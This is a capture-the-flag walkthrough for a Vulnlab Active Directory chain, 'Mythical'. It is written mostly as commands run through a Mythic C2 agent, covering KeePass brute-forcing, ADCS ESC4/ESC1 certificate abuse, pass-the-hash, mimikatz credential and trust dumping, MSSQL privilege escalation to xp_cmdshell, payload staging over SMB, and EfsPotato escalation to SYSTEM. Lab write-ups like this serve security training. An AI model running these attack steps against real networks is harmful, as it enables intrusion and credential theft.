Mythical CHAIN - Penetration Testing Walkthrough
Initial Reconnaissance
Starting with our first machine discovery:
1 | PORT STATE SERVICE REASON VERSION |
Second machine port scan results:
1 | PORT STATE SERVICE REASON VERSION |
Third machine details:
1 | PORT STATE SERVICE REASON VERSION |
Initial Access - Mythic C2
Accessing the Mythic C2 interface at: https://<Machine 2 IP>:7443/new/login
From the assumed breach, we received these credentials:
1 | mythic_admin : wG4jmjNcEcfmzv3QbEcJdSVTDEjCnX |
Command Execution and Enumeration
After logging in, we begin sending commands to our agent:
First, we change directory to the user’s home folder:
1 | sleep 0 0 |
1 | register_assembly SharpHound.exe |
1 | execute_assembly SharpHound.exe -c All |
Then wait for SharpHound to finish and download the results:
1 | download 20250419124353_BloodHound.zip |
We send our data to BloodHound Community Edition (BHCE) for analysis. For reference on installing BHCE with Docker, see: https://m4lwhere.medium.com/the-ultimate-guide-for-bloodhound-community-edition-bhce-80b574595acf
From BloodHound analysis, we discover that user Momo has RDP access:
Network Share Enumeration
Let’s find what shares we have access to. First, we need to navigate to:
1 | C:\_admin\cwrsync\bin |
List available shares:
1 | shell rsync.exe --list-only rsync://192.168.25.1 |
Now we’ll create a folder and copy the contents of the mythical share:
1 | shell mkdir \hello |
1 | shell rsync -av rsync://192.168.25.1/mythical / |
We discover a flag:
Credential Recovery
To download the it.kdbx file, we click the actions button and then download. The agent sends a task and the response enables downloading the file.
KeePass version 4 requires special handling as keepass2john doesn’t support it. We’ll use a GitHub repository with a bash script for brute-forcing:
1 | https://github.com/r3nt0n/keepass4brute |
From the wiki, we know the password should be in one of the smaller rockyou lists:
1 | ./keepass4brute.sh ../it.kdbx /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt |
Inside the KeePass database, we find credentials for a user named domjoin:
Certificate Template Exploitation
Let’s check for vulnerable certificate templates. We’ll use Certify, which needs to be compiled for Windows (Visual Studio 2019 with .NET 4):
1 | register_assembly Certify.exe |
1 | execute_assembly Certify.exe find /vulnerable |
Output reveals a vulnerable template:
1 | [!] Vulnerable Certificates Templates : |
We’ve identified an ESC4 vulnerability. To exploit it, we’ll impersonate the domjoin user:
1 | make_token mythical-us\domjoin <PASS> |
Next, we’ll upload StandIn to create a computer account and join the domain:
1 | register_assembly StandIn_v13_Net45.exe |
1 | execute_assembly StandIn_v13_Net45.exe --computer panosoiko --make |
Impersonate the machine account we created:
1 | make_token mythical-us\panosoiko$ zgbyv9HgwnfF2QV |
With our machine account context, we’ll convert the ESC4 vulnerability to ESC1:
1 | execute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ess --add |
Successfully added the msPKI-Certificate-Name-Flag to the certificate. Now add Certificate Enrollment Permissions to the Domain Users group:
1 | execute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ntaccount |
Now exploit the ESC1 vulnerability using Certify:
1 | execute_assembly Certify.exe request /ca:dc01.mythical-us.vl\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl |
Certificate to NTLM Hash
Load Rubeus for ticket manipulation:
1 | register_assembly Rubeus.exe |
Save the Certify output to a cert.pem file and convert it:
1 | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
Upload the certificate:
1 | upload -File (path)cert.pfx |
Use Rubeus to extract the Administrator’s NTLM hash:
1 | execute_assembly Rubeus.exe asktgt /user:Administrator /certificate:c:\users\momo.ayase\admin.pfx /ptt /nowrap /getcredentials| |
Obtained hash: C583EF48C5ED66NOPENOPENOPE
Since Mimikatz didn’t work, we’ll use Invoke-SMBExec.ps1 to trigger the agent with admin privileges:
1 | powershell Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator -Hash <HASH> -Command "c:\programdata\google\update.exe" |
Domain Trust Exploitation
After uploading Mimikatz again, we’ll dump the domain trust information to explore the relationship with DC02:
1 | shell C:/Users/Administrator/mimikatz.exe "lsadump::trust /patch" |
Output reveals trust details:
1 | Domain: MYTHICAL-EU.VL (MYTHICAL-EU / S-1-5-21-1148612195-3581135157-3534241443) |
Additional trust information:
1 | Direction : Outbound |
We discover that users from mythical-eu.vl can authenticate to mythical-us.vl, but not vice versa - a one-way trust. Following GitHub guidance, we exploit trust accounts:
1 | execute_assembly -Assembly Rubeus.exe -Arguments asktgt /user:mythical-us$ /domain:mythical-eu.vl /rc4:d96d7d0a04d48ee91ab49a97c012fefd /nowrap /ptt |
Now we can enumerate users on mythical-eu.vl:
1 | powershell get-aduser -Filter * -Server mythical-eu.vl -Properties * |
1 | get-aduser -Filter * -Server "dc02.mythical-eu.vl" -Property DisplayName, SamAccountName | Select-Object DisplayName, SamAccountName0 |
Results reveal service accounts that might be exploitable:
1 | DisplayName SamAccountName |
The svc_sql and svc_ldap accounts look promising. We search for SPNs but find none:
1 | powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -Server dc02.mythical-eu.vl | Select Name, ServicePrincipalName |
DC02 Share Enumeration
Let’s search through DC02 shares:
1 | shell net view \\dc02.mythical-eu.vl\ |
We spot a non-standard “dev” share. Let’s explore it:
1 | ls \\dc02.mythical-eu.vl\dev |
We find:
1 | Autologon64.exe |
Using DNSpy to analyze these executables, we discover credentials:
1 | svc_ldap : <PASS> |
Port Scanning and SQL Server Access
Using PortScanner to check for MSSQL ports on DC02:
1 | execute_assembly -Assembly PortScanner.exe -Arguments hosts=10.10.161.167 ports=1433,1434 timeout=3000 |
We find port 1433 open, indicating MSSQL is running. Password spraying reveals svc_sql has the same password as svc_ldap:
1 | make_token mythical-eu\svc_sql <PASS> |
Upload sqlcmd and rename it to avoid issues:
1 | cp -Source C:/Users/Administrator/sqlcmd.exe -Destination C:/Users/Administrator/sql.exe |
Successfully connecting to SQL Server:
Attempting to enable xp_cmdshell fails due to insufficient permissions:
SQL Server Privilege Escalation
Checking our current privileges:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');" |
We attempt to find users we can impersonate:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';" |
Listing database owners:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -d msdb -Q "SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)" |
We will escalate from svc_sql to dbo following SQL privilege escalation techniques:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "SELECT name, is_trustworthy_on FROM sys.databases WHERE name = 'msdb';" |
Create a malicious stored procedure in msdb:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -d msdb -Q "CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MYTHICAL-EU\svc_sql', 'sysadmin';" |
Execute the stored procedure:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -d msdb -Q "EXEC sp_elevate_me;" |
Verify sysadmin role:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "SELECT IS_SRVROLEMEMBER('sysadmin');" |
Enable xp_cmdshell:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';" |
We are running as nt service\mssql$sqlexpress.
Payload Deployment
Create a share for our agent:
1 | mkdir -Path C:\hello |
1 | shell net share hello=C:\hello /grant:everyone,full |
1 | cp -Source C:/programdata/google/update.exe -Destination C:/hello/update.exe |
Copy from the share to DC02:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "EXEC xp_cmdshell 'copy \\10.10.139.85\hello\update.exe C:\Windows\Temp\update.exe';" |
Execute it:
1 | shell C:/Users/Administrator/sql.exe -S tcp:10.10.139.87,1433 -Q "EXEC xp_cmdshell 'C:\Windows\Temp\update.exe';" |
Privilege Escalation to SYSTEM
Since we’re running as a service, we have the SeImpersonatePrivilege enabled. We’ll use EfsPotato since SweetPotato doesn’t work:
1 | register_assembly EfsPotato.exe |
1 | execute_assembly EfsPotato.exe \\10.10.139.85\hello\update.exe |
1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣤⣤⣤⣤⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ |
The flag is in memory (user “root”).
1 | mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit |
Search around you will find the flag :0
https://api.vulnlab.com/api/v1/share?id=a325bfee-e9a7-49f2-9646-494f10841eef